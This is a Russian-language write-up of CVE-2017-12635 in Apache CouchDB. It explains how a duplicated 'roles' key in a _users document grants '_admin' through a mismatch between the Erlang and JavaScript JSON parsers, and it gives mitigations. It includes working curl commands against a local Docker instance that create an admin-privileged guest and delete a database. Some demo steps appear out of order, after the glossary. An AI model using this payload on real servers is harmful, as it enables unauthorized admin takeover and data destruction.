
Разбор случая и PoC для CVE-2017-12635: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Удаленное повышение привилегий
Тематическое исследование и PoC для CVE-2017-12635 (Apache CouchDB 1.7.0 / 2.x < 2.1.1) - Удаленное повышение привилегий
Apache CouchDB — это документо-ориентированная NoSQL база данных, реализованная на Erlang.
CouchDB использует несколько форматов и протоколов для хранения, передачи и обработки своих данных: JSON для хранения данных, JavaScript как язык запросов с использованием MapReduce, и HTTP для API.
CouchDB может использоваться как одноузловая база данных, так и как кластер.
Из-за расхождения между JSON-парсером на Erlang и JSON-парсером на JavaScript, в CouchDB до версий 1.7.0 и 2.x до 2.1.1 существовала уязвимость, позволяющая не-администраторам повышать свои привилегии путем отправки документов в _users с дублирующимися ключами roles, используемыми для контроля доступа в базах данных, включая специальный случай роли _admin, обозначающей административных пользователей.
Подытоживая, уязвимость позволяет не-администраторам назначать себе права администратора.
Из коробки CouchDB позволяет любому отправлять любые запросы. У всех есть привилегии делать что угодно.
В CouchDB есть понятие администратора (например, администратора, суперпользователя или root), которому разрешено делать все что угодно с установкой CouchDB. По умолчанию каждый является администратором. Если вам это не нравится, вы можете создать конкретных администраторов с именем пользователя и паролем в качестве учетных данных.
CouchDB также определяет набор запросов, которые разрешено выполнять только администраторам. За более подробной информацией обратитесь к официальной документации.
CouchDB имеет специальную базу данных аутентификации, которая хранит всех зарегистрированных пользователей в виде JSON-документов.
CouchDB использует специальную базу данных (по умолчанию называется _users) для хранения информации о зарегистрированных пользователях. Это системная база данных — это означает, что, хотя она использует общий API базы данных, к ней применяются некоторые специальные ограничения, связанные с безопасностью, и соглашения о структуре документов.
Только администраторы могут выполнять GET, PUT или DELETE любого документа в базе данных _users.
Пользователи могут только получать доступ (GET /_users/org.couchdb.user:<username>) или изменять (PUT /_users/org.couchdb.user:<username>) документы, которые им принадлежат.
Каждый пользователь CouchDB хранится в формате документа. Эти документы содержат несколько обязательных полей, которые CouchDB обрабатывает для корректного процесса аутентификации. Нас интересует поле roles.
Поле roles — это список ролей пользователя. CouchDB не предоставляет встроенных ролей, поэтому вы можете определять свои собственные в зависимости от ваших потребностей. Однако вы не можете устанавливать системные роли, такие как _admin. Также только администраторы могут назначать роли пользователям — по умолчанию все пользователи не имеют ролей.
CouchDB написан на Erlang, но позволяет пользователям задавать скрипты проверки документов на Javascript. Эти скрипты автоматически выполняются при создании или обновлении документа. Они запускаются в новом процессе и получают JSON-сериализованные документы со стороны Erlang.
CouchDB отправляет функции и документы интерпретатору JavaScript. Этот механизм позволяет пользователям писать функции проверки документов на JavaScript. Функция validate_doc_update выполняется для каждого созданного или обновленного документа. Если функция проверки вызывает исключение, обновление отклоняется; в противном случае обновления принимаются.
function(newDoc, oldDoc, userCtx, secObj) {...}
Аргументы:
newDoc – Новая версия документа, который будет сохраненoldDoc – Предыдущая версия документа, уже сохраненнаяuserCtx – Объект контекста пользователяsrcObj – Объект безопасностиФункции передаются новый документ из запроса на обновление, текущий документ, хранящийся в базе данных, User Context Object (объект контекста пользователя), содержащий информацию о пользователе, записывающем документ (если он есть), и Security Object (объект безопасности) со списками ролей безопасности базы данных.
JSON-парсер, используемый внутри CouchDB — это jiffy, а тот, что используется в скриптах проверки JavaScript — JSON.
Проблема в том, что существует расхождение между JSON и jiffy при обработке дублирующихся ключей.
Для заданного ключа парсер Erlang сохранит оба значения, а парсер JavaScript — только последнее.
Например, разбор {"name":"John", "name":"Jane"} с помощью обоих парсеров даст:
jiffy: {[{<<"name">>,<<"John">>},{<<"name">>,<<"Jane">>}]}JSON: {name: "Jane"}Функция получения для внутреннего представления данных CouchDB вернет только первое значение.
Мы можем обойти всю соответствующую проверку ввода и создать пользователя-администратора, создав пользователя с дублирующимся ключом roles.
Вот как выглядит документ нового пользователя: {..., "roles": ["_admin"], "roles": [], ...}.
Функция получения для внутреннего представления данных CouchDB вернет только первое значение. В результате, в среде Erlang мы будем видеть себя как имеющих роль _admin, в то время как в среде JavaScript мы будем выглядеть как не имеющие особых разрешений.
К счастью для атакующего, почти вся важная логика, касающаяся аутентификации и авторизации, за исключением скрипта проверки ввода, происходит в части CouchDB на Erlang.
Для этой демонстрации мы будем использовать образ Docker из официального репозитория couchdb. Нам нужен HTTP-клиент для выполнения API-вызовов, и мы будем использовать cURL для этого.
Для этой демонстрации можно использовать любую операционную систему.
Предварительные требования:
Вот команды, которые нужно выполнить для эксплуатации уязвимости:
Создайте контейнер на основе официального образа couchdb
docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
Убедитесь, что экземпляр CouchDB запущен и работает
curl -X GET http://localhost:5984
Запрос: Все базы данных в экземпляре
curl -X GET http://localhost:5984/_all_dbs
Запрос: Создайте новую базу данных с именем records
curl -X PUT http://localhost:5984/records
Запрос: Убедитесь, что база данных records создана
curl -X GET http://localhost:5984/_all_dbs
Мы можем получать, добавлять и даже удалять все записи из экземпляра CouchDB, потому что установка CouchDB по умолчанию предоставляет доступ уровня администратора всем подключающимся пользователям. Эта конфигурация известна как Admin Party. Мы можем прекратить эту вечеринку, просто создав первую учетную запись администратора.
Запрос: Создайте учетную запись администратора с учетными данными admin:admin
curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
Демонстрация показала, что любой пользователь может создать учетную запись с ролью администратора и действовать в базе данных как администратор.
Можно выделить два типа экземпляров CouchDB:
По умолчанию к экземпляру CouchDB могут обращаться анонимные пользователи. Чтобы гарантировать, что все разрешенные запросы поступают только от аутентифицированных пользователей, мы можем установить параметр require_valid_user в true в файле конфигурации базы данных. После этого анонимные запросы не разрешаются, все должны быть аутентифицированы.
Вот некоторые меры, которые можно предпринять для предотвращения эксплуатации уязвимости злоумышленниками. Это актуально для всех пользователей CouchDB 1.x и 2.x, которые не обновились до версий 2.1.1 и выше или 1.7.1 и выше.
Публичные экземпляры CouchDB:
require_valid_user и доверяете всем своим пользователям права администратора базы данных и доступа к оболочке сервера: проблем нет.Внутренние экземпляры CouchDB:
require_valid_user и доверяете всем своим пользователям права администратора базы данных и доступа к оболочке сервера: проблем нет.require_valid_user отключен и вы доверяете всем своим пользователям права администратора базы данных и доступа к оболочке сервера: включите require_valid_user.API: Программный интерфейс приложения (API) — это интерфейс или протокол связи между различными частями компьютерной программы, предназначенный для упрощения реализации и сопровождения программного обеспечения.
Erlang: Erlang — это универсальный, конкурентный, функциональный язык программирования и система времени выполнения с сборкой мусора.
HTTP: Протокол передачи гипертекста (HTTP) — это протокол прикладного уровня для распределенных, совместных, гипермедийных информационных систем. HTTP является основой передачи данных для Всемирной паутины, где гипертекстовые документы содержат гиперссылки на другие ресурсы, к которым пользователь может легко получить доступ.
JSON: Обозначение объектов JavaScript (JSON) — это открытый стандартный формат файла или формат обмена данными, использующий человекочитаемый текст для передачи объектов данных, состоящих из пар атрибут-значение и типов данных массивов (или любого другого сериализуемого значения). Это очень распространенный формат данных с разнообразными областями применения, например, как замена XML в системах AJAX.
MapReduce: MapReduce — это модель программирования и соответствующая реализация для обработки и генерации больших наборов данных с помощью параллельного, распределенного алгоритма на кластере.
NoSQL: База данных NoSQL предоставляет механизм для хранения и извлечения данных, которые моделируются иными способами, чем табличные отношения, используемые в реляционных базах данных.
PoC: Доказательство концепции (PoC) — это реализация определенного метода или идеи для демонстрации ее осуществимости, или демонстрация в принципе с целью проверки того, что некоторая концепция или теория имеет практический потенциал.
Privilege Escalation: Повышение привилегий — это акт использования ошибки, дефекта проектирования или надзора конфигурации в операционной системе или программном приложении для получения повышенного доступа к ресурсам, которые обычно защищены от приложения или пользователя.
Запрос: Создайте новую базу данных с именем new_records
curl -X PUT http://localhost:5984/new_records
Упс! Мы больше не можем создать новую базу данных, потому что Admin Party закончилась после создания первой учетной записи администратора.
Запрос: Создайте новую базу данных с именем new_recors с аутентификацией администратора
curl -X PUT http://admin:admin@localhost:5984/new_records
Запрос: Создайте новый документ в базе данных _users
curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'
Здесь мы можем создать новый документ в базе данных _users, но с ограничениями на его аргументы. Мы можем обойти ограничения, дублируя поле roles, как объяснено ранее.
Запрос: Удалите базу данных с именем new_records
curl -X DELETE http://localhost:5984/new_records
Упс! Не можем, потому что у нас нет роли администратора.
Запрос: Удалите базу данных с именем new_records с аутентификацией гостя
curl -X DELETE http://guest:guest@localhost:5984/new_records
Бинго! Мы удалили базу данных, даже если гостевая учетная запись была создана как обычный пользователь.